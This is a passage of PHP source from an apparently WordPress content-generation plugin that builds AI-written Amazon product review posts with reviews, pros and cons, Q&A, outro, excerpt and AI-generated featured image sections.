                                                    $new_post_content .= '<br/><span id="' . sanitize_title($current_section) . '">' . $link_to_source . '</span><br/>';
                                                }
                                                else
                                                {
                                                    $new_post_content .= '<br/>' . $link_to_source . '<br/>';
                                                }
                                                if($topic_images == '1')
                                                {
                                                    if(count($product_imgs_arr) > 0)
                                                    {
                                                        $img_index = array_rand($product_imgs_arr);
                                                        $this_img = $product_imgs_arr[$img_index];
                                                        unset($product_imgs_arr[$img_index]);
                                                        if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                                                        {
                                                            $localpath = aiomatic_copy_image_locally($this_img);
                                                            if($localpath !== false)
                                                            {
                                                                $this_img = $localpath[0];
                                                            }
                                                        }
                                                        $new_post_content .= '<br/><img class="rimage_class" src="' . $this_img . '" alt="' . esc_attr($post_title) . '"><br/>';
                                                        $added_img_list[] = $this_img;
                                                        $added_images++;
                                                    }
                                                }
                                                $last_section_content = $written;
                                                $new_post_content .= $written;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed content prompt. Nothing to do.');
                                        }
                                    }
                                }
                                if($enable_reviews == '1')
                                {
                                    if($reviews_prompt != '')
                                    {
                                        $my_reviews_prompt = $reviews_prompt;
                                        $my_reviews_prompt = aiomatic_replace_review($my_reviews_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                        if(stristr($run_regex_on, 'reviews') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_reviews_prompt);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $my_reviews_prompt = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($my_reviews_prompt != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon review analysis'));
                                            $written = aiomatic_write_content($my_reviews_prompt, $topic_reviews_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'reviews', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate Reviews Analysis for topic: ' . $current_section);
                                                continue;
                                            }
                                            else
                                            {
                                                if($new_post_content != '')
                                                {
                                                    $new_post_content .= ' ';
                                                }
                                                if($my_title_reviews !== '')
                                                {
                                                    if($sections_role == 'h2')
                                                    {
                                                        $new_post_content .= '<h2 id="reviews">' . $my_title_reviews . '</h2>';
                                                    }
                                                    elseif($sections_role == 'h3')
                                                    {
                                                        $new_post_content .= '<h3 id="reviews">' . $my_title_reviews . '</h3>';
                                                    }
                                                    elseif($sections_role == 'b')
                                                    {
                                                        $new_post_content .= '<b id="reviews">' . $my_title_reviews . '</b>';
                                                    }
                                                    elseif($sections_role == 'i')
                                                    {
                                                        $new_post_content .= '<i id="reviews">' . $my_title_reviews . '</i>';
                                                    }
                                                    elseif($sections_role == 'bi')
                                                    {
                                                        $new_post_content .= '<b><i id="reviews">' . $my_title_reviews . '</i></b>';
                                                    }
                                                    elseif($sections_role == 'p')
                                                    {
                                                        $new_post_content .= '<p id="reviews">' . $my_title_reviews . '</p>';
                                                    }
                                                    elseif($sections_role == 'x')
                                                    {
                                                        $new_post_content .= '<br/><span id="reviews">' . $my_title_reviews . '</span><br/>';
                                                    }
                                                    else
                                                    {
                                                        $new_post_content .= '<br/>' . $my_title_reviews . '<br/>';
                                                    }
                                                }
                                                if($topic_images == '1')
                                                {
                                                    if(count($product_imgs_arr) > 0)
                                                    {
                                                        $img_index = array_rand($product_imgs_arr);
                                                        $this_img = $product_imgs_arr[$img_index];
                                                        unset($product_imgs_arr[$img_index]);
                                                        if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                                                        {
                                                            $localpath = aiomatic_copy_image_locally($this_img);
                                                            if($localpath !== false)
                                                            {
                                                                $this_img = $localpath[0];
                                                            }
                                                        }
                                                        $new_post_content .= '<br/><img class="rimage_class" src="' . $this_img . '" alt="' . esc_attr($post_title) . '"><br/>';
                                                        $added_img_list[] = $this_img;
                                                        $added_images++;
                                                    }
                                                }
                                                $new_post_content .= $written;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed Q&A prompt. Nothing to do.');
                                        }
                                    }
                                }
                                if($enable_proscons == '1')
                                {
                                    if($proscons_prompt != '')
                                    {
                                        $my_proscons_prompt = $proscons_prompt;
                                        $my_proscons_prompt = aiomatic_replace_review($my_proscons_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                        if(stristr($run_regex_on, 'proscons') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_proscons_prompt);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $my_proscons_prompt = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($my_proscons_prompt != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon review pros&cons'));
                                            $written = aiomatic_write_content($my_proscons_prompt, $topic_proscons_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'proscons', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate Pros & Cons for topic: ' . $current_section);
                                                continue;
                                            }
                                            else
                                            {
                                                if($new_post_content != '')
                                                {
                                                    $new_post_content .= ' ';
                                                }
                                                if($my_title_proscons !== '')
                                                {
                                                    if($sections_role == 'h2')
                                                    {
                                                        $new_post_content .= '<h2 id="proscons">' . $my_title_proscons . '</h2>';
                                                    }
                                                    elseif($sections_role == 'h3')
                                                    {
                                                        $new_post_content .= '<h3 id="proscons">' . $my_title_proscons . '</h3>';
                                                    }
                                                    elseif($sections_role == 'b')
                                                    {
                                                        $new_post_content .= '<b id="proscons">' . $my_title_proscons . '</b>';
                                                    }
                                                    elseif($sections_role == 'i')
                                                    {
                                                        $new_post_content .= '<i id="proscons">' . $my_title_proscons . '</i>';
                                                    }
                                                    elseif($sections_role == 'bi')
                                                    {
                                                        $new_post_content .= '<b><i id="proscons">' . $my_title_proscons . '</i></b>';
                                                    }
                                                    elseif($sections_role == 'p')
                                                    {
                                                        $new_post_content .= '<p id="proscons">' . $my_title_proscons . '</p>';
                                                    }
                                                    elseif($sections_role == 'x')
                                                    {
                                                        $new_post_content .= '<br/><span id="proscons">' . $my_title_proscons . '</span><br/>';
                                                    }
                                                    else
                                                    {
                                                        $new_post_content .= '<br/>' . $my_title_proscons . '<br/>';
                                                    }
                                                }
                                                if($topic_images == '1')
                                                {
                                                    if(count($product_imgs_arr) > 0)
                                                    {
                                                        $img_index = array_rand($product_imgs_arr);
                                                        $this_img = $product_imgs_arr[$img_index];
                                                        unset($product_imgs_arr[$img_index]);
                                                        if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                                                        {
                                                            $localpath = aiomatic_copy_image_locally($this_img);
                                                            if($localpath !== false)
                                                            {
                                                                $this_img = $localpath[0];
                                                            }
                                                        }
                                                        $new_post_content .= '<br/><img class="rimage_class" src="' . $this_img . '" alt="' . esc_attr($post_title) . '"><br/>';
                                                        $added_img_list[] = $this_img;
                                                        $added_images++;
                                                    }
                                                }
                                                $new_post_content .= $written;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed Q&A prompt. Nothing to do.');
                                        }
                                    }
                                }
                                if($enable_qa == '1')
                                {
                                    if($qa_prompt != '')
                                    {
                                        $my_qa_prompt = $qa_prompt;
                                        $my_qa_prompt = aiomatic_replace_review($my_qa_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                        if(stristr($run_regex_on, 'qa') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_qa_prompt);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $my_qa_prompt = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($my_qa_prompt != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon review qa'));
                                            $written = aiomatic_write_content($my_qa_prompt, $topic_qa_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'qa', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate Q&A for topic: ' . $current_section);
                                                continue;
                                            }
                                            else
                                            {
                                                if($new_post_content != '')
                                                {
                                                    $new_post_content .= ' ';
                                                }
                                                if($my_title_qa !== '')
                                                {
                                                    if($sections_role == 'h2')
                                                    {
                                                        $new_post_content .= '<h2 id="qa">' . $my_title_qa . '</h2>';
                                                    }
                                                    elseif($sections_role == 'h3')
                                                    {
                                                        $new_post_content .= '<h3 id="qa">' . $my_title_qa . '</h3>';
                                                    }
                                                    elseif($sections_role == 'b')
                                                    {
                                                        $new_post_content .= '<b id="qa">' . $my_title_qa . '</b>';
                                                    }
                                                    elseif($sections_role == 'i')
                                                    {
                                                        $new_post_content .= '<i id="qa">' . $my_title_qa . '</i>';
                                                    }
                                                    elseif($sections_role == 'bi')
                                                    {
                                                        $new_post_content .= '<b><i id="qa">' . $my_title_qa . '</i></b>';
                                                    }
                                                    elseif($sections_role == 'p')
                                                    {
                                                        $new_post_content .= '<p id="qa">' . $my_title_qa . '</p>';
                                                    }
                                                    elseif($sections_role == 'x')
                                                    {
                                                        $new_post_content .= '<br/><span id="qa">' . $my_title_qa . '</span><br/>';
                                                    }
                                                    else
                                                    {
                                                        $new_post_content .= '<br/>' . $my_title_qa . '<br/>';
                                                    }
                                                }
                                                if($topic_images == '1')
                                                {
                                                    if(count($product_imgs_arr) > 0)
                                                    {
                                                        $img_index = array_rand($product_imgs_arr);
                                                        $this_img = $product_imgs_arr[$img_index];
                                                        unset($product_imgs_arr[$img_index]);
                                                        if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                                                        {
                                                            $localpath = aiomatic_copy_image_locally($this_img);
                                                            if($localpath !== false)
                                                            {
                                                                $this_img = $localpath[0];
                                                            }
                                                        }
                                                        $new_post_content .= '<br/><img class="rimage_class" src="' . $this_img . '" alt="' . esc_attr($post_title) . '"><br/>';
                                                        $added_img_list[] = $this_img;
                                                        $added_images++;
                                                    }
                                                }
                                                $new_post_content .= $written;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed Q&A prompt. Nothing to do.');
                                        }
                                    }
                                }
                                if($outro_prompt != '')
                                {
                                    $my_outro_prompt = $outro_prompt;
                                    $my_outro_prompt = aiomatic_replace_review($my_outro_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    if(stristr($run_regex_on, 'outro') !== false)
                                    {
                                        if ($strip_by_regex_prompts !== '')
                                        {
                                            $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                            $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                            $xcnt = 0;
                                            foreach($xstrip_by_regex as $sbr)
                                            {
                                                if(isset($xreplace_regex[$xcnt]))
                                                {
                                                    $repreg = $xreplace_regex[$xcnt];
                                                }
                                                else
                                                {
                                                    $repreg = '';
                                                }
                                                $xcnt++;
                                                $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_outro_prompt);
                                                if($temp_cont !== NULL)
                                                {
                                                    $my_outro_prompt = $temp_cont;
                                                }
                                            }
                                        }
                                    }
                                    if($my_outro_prompt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon review outro'));
                                        $written = aiomatic_write_content($my_outro_prompt, $topic_outro_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'outro', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate outro for section: ' . $current_section);
                                            continue;
                                        }
                                        else
                                        {
                                            if($new_post_content != '')
                                            {
                                                $new_post_content .= ' ';
                                            }
                                            if($title_outro !== '')
                                            {
                                                if($my_title_outro != '')
                                                {
                                                    if($sections_role == 'h2')
                                                    {
                                                        $new_post_content .= '<h2 id="outro">' . $my_title_outro . '</h2>';
                                                    }
                                                    elseif($sections_role == 'h3')
                                                    {
                                                        $new_post_content .= '<h3 id="outro">' . $my_title_outro . '</h3>';
                                                    }
                                                    elseif($sections_role == 'b')
                                                    {
                                                        $new_post_content .= '<b id="outro">' . $my_title_outro . '</b>';
                                                    }
                                                    elseif($sections_role == 'i')
                                                    {
                                                        $new_post_content .= '<i id="outro">' . $my_title_outro . '</i>';
                                                    }
                                                    elseif($sections_role == 'bi')
                                                    {
                                                        $new_post_content .= '<b><i id="outro">' . $my_title_outro . '</i></b>';
                                                    }
                                                    elseif($sections_role == 'p')
                                                    {
                                                        $new_post_content .= '<p id="outro">' . $my_title_outro . '</p>';
                                                    }
                                                    elseif($sections_role == 'x')
                                                    {
                                                        $new_post_content .= '<br/><span id="outro">' . $my_title_outro . '</span><br/>';
                                                    }
                                                    else
                                                    {
                                                        $new_post_content .= '<br/>' . $my_title_outro . '<br/>';
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                $new_post_content .= '<br/><br/>';
                                            }
                                            if($topic_images == '1')
                                            {
                                                if(count($product_imgs_arr) > 0)
                                                {
                                                    $img_index = array_rand($product_imgs_arr);
                                                    $this_img = $product_imgs_arr[$img_index];
                                                    unset($product_imgs_arr[$img_index]);
                                                    if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                                                    {
                                                        $localpath = aiomatic_copy_image_locally($this_img);
                                                        if($localpath !== false)
                                                        {
                                                            $this_img = $localpath[0];
                                                        }
                                                    }
                                                    $new_post_content .= '<br/><img class="rimage_class" src="' . $this_img . '" alt="' . esc_attr($post_title) . '"><br/>';
                                                    $added_img_list[] = $this_img;
                                                    $added_images++;
                                                }
                                            }
                                            $new_post_content .= $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed outro prompt. Nothing to do.');
                                    }
                                }
                                if($new_post_content == '')
                                {
                                    aiomatic_log_to_file("Warning, empty post content because of empty content prompt!");
                                }
                                $new_post_excerpt = '';
                                if($excerpt_prompt != '')
                                {
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $excerpt_prompt_arr = preg_split('/\r\n|\r|\n/', $excerpt_prompt);
                                        $my_post_excerpt = $excerpt_prompt_arr[array_rand($excerpt_prompt_arr)];
                                    }
                                    else
                                    {
                                        $my_post_excerpt = $excerpt_prompt;
                                    }
                                    $my_post_excerpt = aiomatic_replace_review($my_post_excerpt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    if(stristr($run_regex_on, 'excerpt') !== false)
                                    {
                                        if ($strip_by_regex_prompts !== '')
                                        {
                                            $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                            $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                            $xcnt = 0;
                                            foreach($xstrip_by_regex as $sbr)
                                            {
                                                if(isset($xreplace_regex[$xcnt]))
                                                {
                                                    $repreg = $xreplace_regex[$xcnt];
                                                }
                                                else
                                                {
                                                    $repreg = '';
                                                }
                                                $xcnt++;
                                                $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_excerpt);
                                                if($temp_cont !== NULL)
                                                {
                                                    $my_post_excerpt = $temp_cont;
                                                }
                                            }
                                        }
                                    }
                                    if($my_post_excerpt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon review excerpt'));
                                        $written = aiomatic_write_content($my_post_excerpt, $topic_excerpt_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'excerpt', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate excerpt!');
                                        }
                                        else
                                        {
                                            $new_post_excerpt = $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed excerpt prompt. Nothing to do.');
                                    }
                                }
            
                                $get_img = '';
                                if($royalty_free == '1')
                                {
                                    if($enable_ai_images == '1')
                                    {
                                        $query_words = $post_title;
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($ai_command_image))
                                            {
                                                aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($ai_command_image) > 400)
                                                {
                                                    $ai_command_image = aiomatic_substr($ai_command_image, 0, 400);
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $image_model);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                }
                                                $skip_this_copy = true;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                $aierror = '';
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating AI image'));
                                                $get_img = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'featuredImage', $skip_this_copy, 0, $aierror, $image_model);
                                                if($get_img !== false)
                                                {
                                                    foreach($get_img as $tmpimg)
                                                    {
                                                        $get_img = $tmpimg;
                                                        break;
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        aiomatic_log_to_file('AI generated featured image returned: ' . $get_img);
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate AI featured image: ' . $aierror);
                                                    $get_img = '';
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered.');
                                        }
                                    }
                                    elseif($enable_ai_images == '2')
                                    {
                                        $query_words = $post_title;
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($ai_command_image))
                                            {
                                                aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($ai_command_image) > 2000)
                                                {
                                                    $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = 'Stability.AI';
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                }
                                                if($image_size == '256x256')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '512x512')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '1024x1024')
                                                {
                                                    $width = '1024';
                                                    $height = '1024';
                                                }
                                                else
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                $skip_this_copy = true;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                $ierror = '';
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Stable Diffusion AI image'));
                                                $get_img = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'featuredStableImage', 0, false, $ierror, $skip_this_copy, false);
                                                if($get_img !== false)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        aiomatic_log_to_file('AI generated featured image returned: ' . $get_img[1]);
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate Stability.AI featured image: ' . $ierror);
                                                    $get_img = '';
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered.');
                                        }
                                    }
                                    elseif($enable_ai_images == '4')
                                    {
                                        $query_words = $post_title;
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
